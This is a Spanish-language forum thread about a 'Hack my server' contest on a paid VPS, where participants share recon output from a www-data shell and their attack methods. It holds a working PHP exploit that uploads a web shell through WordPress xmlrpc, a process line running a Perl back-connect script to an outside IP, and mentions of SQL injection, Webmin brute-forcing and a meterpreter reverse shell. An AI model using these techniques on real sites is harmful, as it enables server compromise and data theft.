root       177  0.0  0.0  15224     8 ?        S    Jul30   0:00 upstart-file-bridge --daemon
root       376  0.0  0.0  14956     8 ?        Ss   Jul30   0:00 /usr/sbin/xinetd -dontfork -pidfile /var/run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6
root       378  0.0  0.0  61044   312 ?        Ss   Jul30   0:02 /usr/sbin/sshd -D
root       380  0.0  0.0  25756   244 ?        Ss   Jul30   0:04 cron
syslog     416  0.0  0.0  12748   412 ?        Ss   Jul30   0:03 /sbin/syslogd -u syslog
root       484  0.0  0.0  81008     4 ?        Ss   Jul30   0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2
root       486  0.0  0.0  81008     4 ?        S    Jul30   0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2
root       540  0.0  0.0  85780   672 ?        Ss   Jul30   0:17 sendmail: MTA: accepting connections          
root       572  0.0  0.0  12748     8 tty1     Ss+  Jul30   0:00 /sbin/getty -8 38400 tty1
mysql     4586  0.0  1.0 785948 11288 ?        Ssl  Jul30   4:04 /usr/sbin/mysqld
www-data  5153  0.0  0.0   4392   564 ?        Ss   05:01   0:00 /usr/sbin/apache -i
root      6893  0.0  0.1 313920  1400 ?        Ss   Jul30   0:22 /usr/sbin/apache2 -k start
root     10027  0.0  0.2  86048  2316 ?        Ss   Jul30   2:13 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
www-data 10048  0.0  0.0   4392   544 ?        Ss   11:02   0:00 /usr/sbin/apache -i
www-data 10888  0.0  0.0   4392   520 ?        S    12:18   0:00 /bin/sh ./stop
www-data 10892  0.0  0.0   4324   440 ?        S    12:18   0:00 cat
www-data 11279  0.0  0.0   4392   536 ?        Ss   12:46   0:00 /usr/sbin/apache -i
www-data 11641  0.0  0.3 314788  4048 ?        S    13:11   0:00 /usr/sbin/apache2 -k start
www-data 11865  0.0  0.0   4392   524 ?        S    13:26   0:00 sh -c ./out
www-data 11866  6.2  0.0   4756   396 ?        Sl   13:26  23:52 ./out
www-data 11927  0.0  0.0      0     0 ?        Z    13:32   0:00 [sh] <defunct>
www-data 12122  0.0  0.0      0     0 ?        Z    13:44   0:00 [sh] <defunct>
www-data 12570  0.0  0.0      0     0 ?        Z    14:13   0:00 [sh] <defunct>
www-data 12685  0.0  0.0      0     0 ?        Z    14:25   0:00 [sh] <defunct>
www-data 13048  0.0  0.0      0     0 ?        Z    14:59   0:00 [sh] <defunct>
www-data 14598  0.0  0.0      0     0 ?        Z    15:56   0:00 [sh] <defunct>
www-data 16229  0.0  0.0      0     0 ?        Z    16:51   0:00 [sh] <defunct>
www-data 16344  0.0  0.0   4392   536 ?        Ss   16:58   0:00 /usr/sbin/apache -i
www-data 16351  0.0  0.0  28884   940 ?        S    16:59   0:02 ping6 ::1
www-data 16394  0.0  0.0      0     0 ?        Z    17:02   0:00 [sh] <defunct>
www-data 16475  0.0  0.0      0     0 ?        Z    17:11   0:00 [sh] <defunct>
www-data 16535  0.0  0.0      0     0 ?        Z    17:15   0:00 [sh] <defunct>
www-data 16575  0.0  0.0      0     0 ?        Z    17:18   0:00 [sh] <defunct>
www-data 17044  0.0  0.0      0     0 ?        Z    17:54   0:00 [sh] <defunct>
www-data 17775  0.0  1.3 318804 13648 ?        S    19:09   0:00 /usr/sbin/apache2 -k start
www-data 17840  0.0  1.0 317008 10796 ?        S    19:13   0:00 /usr/sbin/apache2 -k start
www-data 17844  0.0  0.7 317240  7400 ?        S    19:13   0:00 /usr/sbin/apache2 -k start
www-data 17847  0.0  0.7 316428  8212 ?        S    19:14   0:00 /usr/sbin/apache2 -k start
www-data 17862  0.0  0.6 314376  6624 ?        S    19:15   0:00 /usr/sbin/apache2 -k start
www-data 17892  0.0  1.0 317000 10616 ?        S    19:17   0:00 /usr/sbin/apache2 -k start
www-data 17936  0.0  0.8 317000  8568 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17943  0.0  0.8 317760  8912 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17946  0.0  0.9 318776  9564 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17949  0.0  0.7 316984  7384 ?        S    19:21   0:00 /usr/sbin/apache2 -k start
www-data 18289  0.0  0.0   4392   624 ?        S    19:50   0:00 sh -c ps -aux
www-data 18290  0.0  0.1  15520  1124 ?        R    19:50   0:00 ps -aux
www-data 28193  0.0  0.0   4392   536 ?        Ss   Aug01   0:00 /usr/sbin/apache -i
www-data 31431  0.0  0.0   4148     4 ?        T    00:45   0:00 ./exp4
www-data 31575  0.0  0.3 314780  3824 ?        S    00:59   0:00 /usr/sbin/apache2 -k start
www-data 31850  0.0  0.0   4392   528 ?        S    01:14   0:00 sh -c perl bk.pl 71.51.107.185 80
www-data 31851  0.0  0.1  27860  2024 ?        S    01:14   0:00 perl bk.pl 71.51.107.185 80
www-data 31857  0.0  0.1  17864  1176 ?        S    01:14   0:00 /bin/bash
www-data 32084  0.0  0.0   4148     4 ?        T    01:23   0:00 ./exp4
www-data 32091  0.0  0.0   4148     4 ?        T    01:25   0:00 ./exp4
www-data 32335  0.0  0.1  17868  1220 ?        S    01:34   0:00 bash

Código:
netstat -atup | grep IST
Código:
tcp        0      0 localhost.localdom:smtp *:*                     LISTEN      -               
tcp        0      0 localhost.localdo:mysql *:*                     LISTEN      -              
tcp        0      0 localhost.lo:submission *:*                     LISTEN      -              
tcp        0      0 *:webmin                *:*                     LISTEN      -              
tcp        0      0 *:ssh                   *:*                     LISTEN      -              
tcp6       0      0 [::]:http               [::]:*                  LISTEN      -              
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -              

Archivos ejecutables con permisos de root:
Código:
find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null
Código:
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/procmail
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/arping
/usr/bin/chfn
/usr/sbin/sensible-mda
/usr/sbin/uuidd

No es ubuntu server, es un redhat:
Código:
cat /proc/version /proc/cpuinfo
Código:
Linux version 2.6.32-042stab084.14 (root@rh6-build-x64) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Mon Dec 16 18:16:56 MSK 2013
processor : 0
vendor_id : AuthenticAMD
cpu family : 16
model : 2
model name : AMD Opteron(tm) Processor 4284                 
stepping : 3
cpu MHz : 2999.999
cache size : 2048 KB
physical id : 0
siblings : 4
core id : 0
cpu cores : 4
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good tsc_reliable nonstop_tsc unfair_spinlock pni cx16 x2apic popcnt hypervisor lahf_lm cmp_legacy extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw
bogomips : 5999.99
TLB size : 1536 4K pages
clflush size : 64
cache_alignment : 64
address sizes : 40 bits physical, 48 bits virtual
power management:



Título: Re: Hack my server II
Publicado por: MinusFour en 3 Agosto 2014, 01:52 am
phpinfo() funciona :P

http://web/wp-content/uploads/phpinfo.php


Título: Re: Hack my server II
Publicado por: WHK en 3 Agosto 2014, 02:01 am
phpinfo() funciona :P

http://web/wp-content/uploads/phpinfo.php

Talves escribí la funcion mal entonces porque tiene deshabilitado el reporte de errores.

php está configurado con algunos datos falsos :p por ejemplo sale que el apache está sobre ubuntu pero en realidad es un redhat xD o al reves pero dudo que sea ubuntu.


Título: Re: Hack my server II
Publicado por: #!drvy en 3 Agosto 2014, 02:06 am
@WHK

cat /etc/lsb-release

Y corrijan me si me equivoco pero que yo sepa, redhat no tiene ni dpkg ni apt-get .. es rpm..

Código:
$ apt-get install
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
$

Saludos


Título: Re: Hack my server II
Publicado por: MinusFour en 3 Agosto 2014, 02:10 am
@WHK

cat /etc/lsb-release

Y corrijan me si me equivoco pero que yo sepa, redhat no tiene ni dpkg ni apt-get .. es rpm..

Código:
$ apt-get install
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
$

Saludos


Si, apt es de distribuciones basadas en debian. RedHat usa RPMs. Aunque bueno, tambien hay herramientas basadas en apt para RH pero no es apt con dkpg.


Título: Re: Hack my server II
Publicado por: T. Collins en 3 Agosto 2014, 02:28 am
Podrías pasar IP por favor. Gracias.


Título: Re: Hack my server II
Publicado por: dRak0 en 3 Agosto 2014, 04:21 am
Bueno , voy a explicar algo que desconocia y que descubri buscando formas diferentes de subir shell.


Luego de poder entrar via SQLi ya sea desde el wordpress o el phpmyadmin ,empeze a buscar otras formas. Leyendo el source de wordpress , encontre un archivo muy lindo llamado xmlrpc.php(No lo pongo porque no me deja poner mucho texto)

Despues de leerlo todo , no lo podia creer lo servido que estaba.

Observemos esta funcion:


Código
  1. /* metaweblog.newMediaObject uploads a file, following your settings */
  2. function mw_newMediaObject($args) {
  3. // adapted from a patch by Johann Richard
  4. // http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/
  5.  
  6. global $wpdb;
  7.  
  8. $blog_ID     = $wpdb->escape($args[0]);
  9. $user_login  = $wpdb->escape($args[1]);
  10. $user_pass   = $wpdb->escape($args[2]);
  11. $data        = $args[3];
  12.  
  13. $name = $data['name'];
  14. $type = $data['type'];
  15. $bits = $data['bits'];
  16.  
  17. logIO('O', '(MW) Received '.strlen($bits).' bytes');
  18.  
  19. if ( !$this->login_pass_ok($user_login, $user_pass) )
  20. return $this->error;
  21.  
  22. set_current_user(0, $user_login);
  23. if ( !current_user_can('upload_files') ) {
  24. logIO('O', '(MW) User does not have upload_files capability');
  25. $this->error = new IXR_Error(401, 'You are not allowed to upload files to this site.');
  26. return $this->error;
  27. }
  28.  
  29. $upload = wp_upload_bits($name, $type, $bits);
  30. if ( ! empty($upload['error']) ) {
  31. logIO('O', '(MW) Could not write file '.$name);
  32. return new IXR_Error(500, 'Could not write file '.$name);
  33. }
  34.  
  35. return array('url' => $upload['url']);
  36. }
  37.  
  38.  
  39.  

Sisi muchachos , hace un upload! Entonces simplemente creo un exploit...

Código
  1. <?php
  2. include_once("class-IXR.php");
  3.  
  4. echo "Exploit para concurso de elhacker.net";
  5.  
  6. $cliente=new IXR_CLIENT('http://IP/xmlrpc.php');
  7.  
  8. $tamano=filesize('shell.php');
  9. $archivo=fopen('shell.php','rb');
  10. $data=fread($archivo,$tamano);
  11. fclose($archivo);
  12.  
  13. $shell=array(
  14. 'name'=>"shell.php",
  15. 'type'=>"application/php",
  16. 'bits'=>new IXR_Base64($data)
  17. );
  18.  
  19. $cliente->query('metaWeblog.newMediaObject',array(
  20. 0,
  21. "ret2libc",
  22. "password",
  23. $shell
  24. ));
  25.  
  26. print_r($cliente->getResponse());
  27.  
  28. echo "Check bitch!";
  29.  
  30.  
  31.  
  32.  
  33. ?>
  34.  
  35.  

Class-IXR.php lo pueden encontrar en wordpress. No lo voy a postear.

Bueno , aprendi algo nuevo y lo comparto.Y encima repase algo de php que estaba bastante oxidado.


Título: Re: Hack my server II
Publicado por: dRak0 en 3 Agosto 2014, 08:39 am
/vz/vms/84472/private on / type simfs (rw,relatime)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
none on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
none on /sys/fs/cgroup type tmpfs (rw,relatime,size=4k,mode=755)
none on /run type tmpfs (rw,nosuid,noexec,relatime,size=104860k,mode=755)
none on /dev/shm type tmpfs (rw,relatime)
none on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
none on /run/shm type tmpfs (rw,nosuid,nodev,relatime)
none on /run/user type tmpfs (rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755)



Título: Re: Hack my server II
Publicado por: MinusFour en 3 Agosto 2014, 09:06 am
/vz/vms/84472/private on / type simfs (rw,relatime)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
none on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
none on /sys/fs/cgroup type tmpfs (rw,relatime,size=4k,mode=755)
none on /run type tmpfs (rw,nosuid,noexec,relatime,size=104860k,mode=755)
none on /dev/shm type tmpfs (rw,relatime)
none on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
none on /run/shm type tmpfs (rw,nosuid,nodev,relatime)
none on /run/user type tmpfs (rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755)



:O Me parece que esto explica porque uname -a nos devuelve que es Red Hat XD.


Título: Re: Hack my server II
Publicado por: dRak0 en 3 Agosto 2014, 09:29 am
Pregunta : ¿Hay alguna forma de crear un hilo en un proceso remoto como en windows?Me refiero a CreateRemoteThread() . Tratar de escribir en un proceso remoto que sea root y ejecutar un createremotethread desde el lugar que escribimos en ese proceso remoto y asi ejecutar una shellcode.

Esto lo hize en windows , no tengo idea si se puede en GNU/Linux.


Título: Re: Hack my server II
Publicado por: MinusFour en 3 Agosto 2014, 10:39 am
Pregunta : ¿Hay alguna forma de crear un hilo en un proceso remoto como en windows?Me refiero a CreateRemoteThread() . Tratar de escribir en un proceso remoto que sea root y ejecutar un createremotethread desde el lugar que escribimos en ese proceso remoto y asi ejecutar una shellcode.

Esto lo hize en windows , no tengo idea si se puede en GNU/Linux.

Después de 25 minutos de Jugaad, parece que no.

https://www.youtube.com/watch?v=Nm5htFWAVUE

Vaya, si puedes inyectar código en procesos que son tuyos a través de ptrace() pero no puedes inyectar a un proceso del root. Y también tiene que estar habilitado en el kernel (en la conferencia, mencionan que ubuntu lo tiene desactivado desde la 10.04 en adelante).


Título: Re: Hack my server II
Publicado por: Baal_30 en 3 Agosto 2014, 22:58 pm
Veo que hemos llegado a un punto muerto, no ¿? :/

Yo sigo mirando el tema, pero uff tengo tanto por aprender!


Título: Re: Hack my server II
Publicado por: xustyx en 4 Agosto 2014, 00:10 am
Eso parece... En parte creo que x los permisos de webmin ... Que alguien modifico.


Título: Re: Hack my server II
Publicado por: #!drvy en 4 Agosto 2014, 01:15 am
Aquí hay algo muy raro xD

uname -r
Código:
2.6.32-042stab084.14

cat /proc/version
Código:
Linux version 2.6.32-042stab084.14...

cat /etc/issue
Código:
Ubuntu 13.10 \n \l

lsb_release -a
Código:
Distributor ID: Ubuntu
Description: Ubuntu 13.10
Release: 13.10
Codename: saucy

Todo indica que es un ubuntu 13.10 (saucy) con el kernel 2.6.. sin embargo, segun ubuntu (https://wiki.ubuntu.com/SaucySalamander/ReleaseNotes#Linux_kernel_3.11), SaucySalamander viene con el 3.11 ... Lo puedo confirmar porque me descargue la iso de 13.10 y el uname -r me tira 3.11.. la unica version de ubuntu que viene con el 2.6.32 es la 10.04 LTS -____-

http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Table_of_versions

En fin, leyendo un poco, resulta que OVH usa "distros" personalizadas:

http://serverfault.com/questions/586171/cant-update-linux-kernel-on-vps
http://forum.kimsufi.com/showthread.php?20971-weird-kernels-where-to-get-sources-for-OVH-kernels
http://forum.ovh.co.uk/showthread.php?239-Custom-kernel

Tamos jodidos xD

Saludos


Título: Re: Hack my server II
Publicado por: MinusFour en 4 Agosto 2014, 02:06 am
Aquí hay algo muy raro xD

uname -r
Código:
2.6.32-042stab084.14

cat /proc/version
Código:
Linux version 2.6.32-042stab084.14...

cat /etc/issue
Código:
Ubuntu 13.10 \n \l

lsb_release -a
Código:
Distributor ID: Ubuntu
Description: Ubuntu 13.10
Release: 13.10
Codename: saucy

Todo indica que es un ubuntu 13.10 (saucy) con el kernel 2.6.. sin embargo, segun ubuntu (https://wiki.ubuntu.com/SaucySalamander/ReleaseNotes#Linux_kernel_3.11), SaucySalamander viene con el 3.11 ... Lo puedo confirmar porque me descargue la iso de 13.10 y el uname -r me tira 3.11.. la unica version de ubuntu que viene con el 2.6.32 es la 10.04 LTS -____-

http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Table_of_versions

En fin, leyendo un poco, resulta que OVH usa "distros" personalizadas:

http://serverfault.com/questions/586171/cant-update-linux-kernel-on-vps
http://forum.kimsufi.com/showthread.php?20971-weird-kernels-where-to-get-sources-for-OVH-kernels
http://forum.ovh.co.uk/showthread.php?239-Custom-kernel

Tamos jodidos xD

Saludos

Lo que pasa es que está usando un sistema virtualizado, OVH aquí está usando OpenVz (hay otros sistemas en OVH). Si te das cuenta en el /proc/mounts aparece la ruta del disco duro del sistema virtualizado en el host. Lo ha puesto ret2libc.

http://en.wikipedia.org/wiki/OpenVZ

Encontre un exploit que podría funcionar, salio hace un mes, el problema es que necesito compilarlo ahí en el host xD y otros pequeños detalles también.

Voy a intentar a hacer brute force al webmin con root a ver si tiene una contraseña débil.

Edit: Error - Access denied for x.x.x.x. The host has been blocked because of too many authentication failures. NOUP.


Título: Re: Hack my server II
Publicado por: #!drvy en 4 Agosto 2014, 02:09 am
Hmm cierto, no me había fijado en el post ..

Saludos


Título: Re: Hack my server II
Publicado por: Stakewinner00 en 4 Agosto 2014, 02:25 am
Bueno, al final perdí una noche y deje lleno de exploits que no funcionaron por ahí tirados... A ver si llega alguien e ilumina un poco el camino xD

Saludos


Título: Re: Hack my server II
Publicado por: dRak0 en 5 Agosto 2014, 16:44 pm
¿Alguna novedad?


Título: Re: Hack my server II
Publicado por: xustyx en 5 Agosto 2014, 16:58 pm
Que yo sepa nada... yo he estado remenando un poco ayer pero no encuentro nada...

Si alguien tiene tiempo podría mirar info en los metadatos y esas cosas pero dudo que saquemos nada :S y por lo visto ningún exploit da resultados.

Por aportar algo aunque no tengo muchos conocimientos en la carpeta proc parece ser que hay cosas interesantes, pero ya digo, NPI.


Título: Re: Hack my server II
Publicado por: Baal_30 en 5 Agosto 2014, 18:29 pm
dimitrix una ayudita!! xD


Título: Re: Hack my server II
Publicado por: WIитX en 5 Agosto 2014, 19:18 pm
Bueno, si nadie puede sacar mas nada, me doy por campeón, os voy pasando mi dirección para que me enviéis el premio  ;D


Título: Re: Hack my server II
Publicado por: xustyx en 5 Agosto 2014, 19:25 pm
Yo lo más que he sacado a sido una reverse con meterpreter....


Título: Re: Hack my server II
Publicado por: dRak0 en 5 Agosto 2014, 19:54 pm
Mientras tanto , en rusia:

-F-JfWqMG6g


Я сошла́ с ума́,
Я сошла́ с ума́,
Мне нужна́ она́,
Мне нужна́ она́,
Мне нужна́ она́...

Я сошла́ с ума́...

Меня́ по́лностью нет
Абсолю́тно всерьёз,
Ситуа́ция HELP,
Ситуа́ция SOS.

Я себя́ не пойму́:
Ты отку́да взяла́сь?
Почему́, почему́
На тебя́ повела́сь?

Выключа́ется свет,
Я куда́-то лечу́;
Без тебя́ меня́ нет,
Ничего́ не хочу́.

Э́то ме́дленный яд,
Э́то сво́дит с ума́,
А они́ говоря́т:
"Винова́та сама́".

А они́ говоря́т:
"Винова́та сама́".

Я сошла́ с ума́,
Я сошла́ с ума́,
Мне нужна́ она́,
Мне нужна́ она́,
Мне нужна́ она́...

Я сошла́ c ума́,
Мне нужна́ она́!

Без тебя́ я - не я,
Без тебя́ меня́ нет,
А они́ говоря́т,
Говоря́т: "Э́то бред".

Э́то со́лнечный яд -
Золоты́е лучи́,
А они́ говоря́т:
"На́до сро́чно лечи́ть".

Я хоте́ла забы́ть
До упо́ра и вниз,
Я счита́ла столбы́
И расте́рянных птиц.

Без тебя́ меня́ нет,
Отпусти́, отпусти́,
До угла́ по стене́,
Ма́ма, па́па, прости́!

Я сошла́ с ума́,
Я сошла́ с ума́,
Мне нужна́ она́,
Мне нужна́ она́,
Мне нужна́ она́...

Я сошла́ c ума́,
Мне нужна́ она́!

Раз, два, по́сле пяти́,
Ма́ма, па́па, прости́,
Я сошла́ с ума́.

Раз, два, по́сле пяти́,
Ма́ма, па́па, прости́,
Я сошла́ с ума́.

Я сошла́ с ума́,
Я сошла́ с ума́,
Мне нужна́ она́,
Мне нужна́ она́,
Мне нужна́ она́...

Я сошла́ c ума́,
Мне нужна́ она́!

maoAFT61n6M


Título: Re: Hack my server II
Publicado por: dimitrix en 6 Agosto 2014, 00:37 am
Fue divertido mientras duró, pero según palabras de OVH: Sois un peligro para sus instalaciones y han cancelado el server.


Haré un reporte, reparto de puntos y al próximo hablaré con la empresa antes de hacer nada...

Nos vemos en Hack My Server III

(El próximo será más complicado)


Título: Re: Hack my server II
Publicado por: dRak0 en 6 Agosto 2014, 00:45 am
Fue divertido mientras duró, pero según palabras de OVH: Sois un peligro para sus instalaciones y han cancelado el server.


Haré un reporte, reparto de puntos y al próximo hablaré con la empresa antes de hacer nada...

Nos vemos en Hack My Server III

(El próximo será más complicado)

nivQIgk2EKk

Je!

No pudimos tocar el server... We can't touch this?

otCpCn0l4Wo


Título: Re: Hack my server II
Publicado por: Baal_30 en 6 Agosto 2014, 01:35 am
Pues vaya... :/

Espero ansioso ya el próximo  ;D


Título: Re: Hack my server II
Publicado por: WIитX en 6 Agosto 2014, 02:18 am
Ahaha gane yo esque me estaba reservando para el final..  :laugh:


Título: Re: Hack my server II
Publicado por: MinusFour en 6 Agosto 2014, 02:27 am
¿Los de OVH no sabían que estabas haciendo? xDDD

Espero que no haya repercusiones para nosotros eh xD, especialmente porque no he usado un proxy ni nada xDDD.


Título: Re: Hack my server II
Publicado por: dimitrix en 6 Agosto 2014, 05:09 am
¿Los de OVH no sabían que estabas haciendo? xDDD

Espero que no haya repercusiones para nosotros eh xD, especialmente porque no he usado un proxy ni nada xDDD.

Tranquilo, repercusión ninguna para nadie que para algo pagué el servidor... lo que pasa es que por "seguridad" toman ciertas medidas, pero todo legal.


Título: Re: Hack my server II
Publicado por: Stakewinner00 en 6 Agosto 2014, 12:25 pm
yo más que hacer un Hack my server III haría un Hack my server 2.2 ya que este se quedo un poco a medias y vete a saber tu si alguien podría haber conseguido acceso root (creo que dijiste que se acababa el día 14, así que aun falta más

En fin, pues eso, fue divertido mientras duro

PD: Si los del hosting decían que eramos un peligro, es que alguien estuvo a punto de conseguir algo? xD


Título: Re: Hack my server II
Publicado por: Caster en 6 Agosto 2014, 13:16 pm
yo más que hacer un Hack my server III haría un Hack my server 2.2 ya que este se quedo un poco a medias y vete a saber tu si alguien podría haber conseguido acceso root (creo que dijiste que se acababa el día 14, así que aun falta más

En fin, pues eso, fue divertido mientras duro

PD: Si los del hosting decían que eramos un peligro, es que alguien estuvo a punto de conseguir algo? xD

No creo que nadie haya llegado a conseguir nada hasta ahora, lo que pasa es que se puede dar el caso de que alguien encuentre alguna vulnerabilidad que no solo afecte a este server sino al resto de servidores de OVH, por eso supongo yo que lo han cerrado.

Saludos


Título: Re: Hack my server II
Publicado por: Baal_30 en 6 Agosto 2014, 13:18 pm
Eso es que se sienten inseguros... ¡Pongámonos a inversitar sus servers! haha, naah... yo no tengo npi :/ xD


Título: Re: Hack my server II
Publicado por: WHK en 6 Agosto 2014, 15:38 pm
Vamos, yo aun tengo mi shell xD

Código:
me@Machine:~/Escritorio/server$ php cliente.php http://web.com/wp-content/uploads/whk-shell.php
Conectando ... Conectado!
WHK@owned-server:/var/www/wp-content/uploads$ ls
drwxrwxrwx .
drwxrwxrwx ..
-rw-r--r-- index.php
drwxr-xr-x tmp
-rw-r--r-- whk-shell.php
WHK@owned-server:/var/www/wp-content/uploads$ system id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
WHK@owned-server:/var/www/wp-content/uploads$

Me faltan mis puntos por haber subido la shell a traves de la inyección sql bypaseando el filtro de seguridad de wordpress a traves del utf7.

PD: el webmin no es vulnerable por obsolencia (para que ahorren tiempo):
Código:
webmin     : 1.690
apache2    : 2.4.6
mysql      : 5.5.37
phpmyadmin : 4:4.0.6-1
gcc        : 0
php5       : 5.5.3


Título: Re: Hack my server II
Publicado por: Zedmix en 8 Agosto 2014, 00:46 am
Me gustaría echar una partida, hace tiempo que tenía esto abandonado.


Título: Re: Hack my server II
Publicado por: dimitrix en 13 Septiembre 2014, 17:26 pm
Por cierto, el ganador es #!drvy, tiene 10 minutos para reclamar su premio :-)


Título: Re: Hack my server II
Publicado por: #!drvy en 13 Septiembre 2014, 20:51 pm
Buenas,

Yo creo que el ganador debería de ser WHK ya que demostró como hacerlo todo manualmente y sin tirar de phpmyadmin ni nada parecido.

Ademas fue de los primeros en darse cuenta de que no era un ubuntu y al fin y al cabo aunque yo explique algunas cosas.. no se puede comparar con lo que hizo WHK.


Saludos


Título: Re: Hack my server II
Publicado por: dRak0 en 13 Septiembre 2014, 22:48 pm
Concuerdo con #!drvy.

Reclamo un par de puntos mas. Mira la pagina 11, dimitrix.

Saludos!


Título: Re: Hack my server II
Publicado por: dimitrix en 17 Septiembre 2014, 16:43 pm
Acabo de actualizar los puntos en la página principal.

Son 11 puntos para #!drvy contra 8 puntos de WHK, he valorado diferentes cosas, tanto la complejidad de  los ataques (que WHK gana), como la participación...

Igualmente, si WHK quiere el primio genial...

Citar
Ademas fue de los primeros en darse cuenta de que no era un ubuntu y al fin y al cabo aunque yo explique algunas cosas.. no se puede comparar con lo que hizo WHK.

Si que era ubuntu xDDD

Su servidor VPS acaba de ser instalado con el siguiente sistema operativo/distribución:
Ubuntu 13.10 Server (en versión 64 bits)




¡NOS VEMOS EN LA PRÓXIMA!


Título: Re: Hack my server II
Publicado por: WHK en 20 Septiembre 2014, 18:24 pm
Vale :D , si se pudiera puedes partir el poster por la mitad y enviarle la otra mitad a #!drvy  xD sería genial :P jajaja (es broma, no lo vayas a partir).


Título: Re: Hack my server II
Publicado por: dimitrix en 20 Septiembre 2014, 19:51 pm
Tarde ya lo he partido xD

Ahora en serio, felcidades, gracias por compartir tus conocimientos y creo que todos esperamos una foto del poster xDDD